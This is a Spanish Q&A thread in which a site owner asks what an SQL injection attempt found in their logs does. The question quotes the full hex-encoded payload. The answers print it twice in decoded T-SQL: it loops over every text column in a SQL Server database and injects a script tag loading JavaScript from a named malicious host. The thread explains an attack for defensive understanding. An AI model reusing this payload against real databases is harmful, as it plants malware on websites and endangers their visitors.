sql injection - sqlmap - Ataque de inyección SQL: ¿qué está pasando aquí?
sql injection owasp (4)
Posible duplicado:
Intento de ataque de inyección SQL: ¿qué están tratando de hacer?
He visto este intento de inyección SQL en mi sitio muchas veces en los últimos meses.
'';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);
Después de revisar mi código, estoy seguro de que estoy protegido porque consulto un dataset en memoria en lugar de la base de datos. Sin embargo, aunque estoy seguro de que estoy protegido, no entiendo completamente qué está pasando con este intento de ataque y me gustaría resolverlo para poder evitar escribir código en el futuro que pueda ser vulnerable.
¿Alguien puede explicarme qué están intentando hacer estos hackers con este código?
Gracias.
- Este código se adjunta a la cadena de consulta y se envía como datos de publicación.
Nota: mi primera explicación fue incorrecta porque en realidad no leí toda la historia ...
esto es a lo que se traduce. Busca en su base de datos columnas de texto o varchar (b.xtype en 99,35,231,167) y luego inyecta un archivo javascript en todas las columnas de texto en su base de datos. Un poco más malicioso de lo que pensé en un principio.
DECLARE
@T varchar(255),
@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype=''u'' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT
FROM Table_Cursor
INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN exec(''update [''+@T+''] set [''+@C+'']=''''">
</title>
<script src="http://www2.s800qn.cn/csrss/w.js"></script>
<!--''''+[''+@C+''] where ''+@C+'' not like ''''%">
</title>
<script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''
'''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Además de la publicación de Jimmy: también puedes usar un traductor de hexadecimal para obtener esto:
DECLARE @T varchar(255)''@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select
a.name''b.name from sysobjects a''syscolumns b where a.id=b.id and a.xtype=''u'' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO @T''@C WHILE(@@FETCH_STATUS=0) BEGIN
exec(''update [''+@T+''] set [''+@C+'']=''''"></title><script src="http://www2.s800qn.cn
/csrs/w.js"></script>''''+[''+@C+''] where ''+@C+'' not like ''''%"></title><script
src="http://www2.s800qn.cn/csrss/w.js"></script>'''''')FETCH NEXT FROM Table_Cursor INTO
@T''@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Solo para ayudarlo si aún no se ha dado cuenta, se trata de un ataque automático no dirigido. Y el propósito del archivo .js incluido es distribuir malware mediante el uso de su sitio web e incluye varios exploits principalmente dirigidos a usuarios de IE.
En realidad, Jimmy, si analiza este código, utiliza un cursor para insertar una referencia javascript en hxxp: //www2.s800qn.cn/csrss/w.js en cada campo de texto en la base de datos.
Esto significa que no les importa su base de datos, lo que quieren es usar su página para robar datos de los usuarios que la navegan.
Ese enlace javascript ahora está muerto, pero probablemente contenía código para capturar las cookies de los usuarios.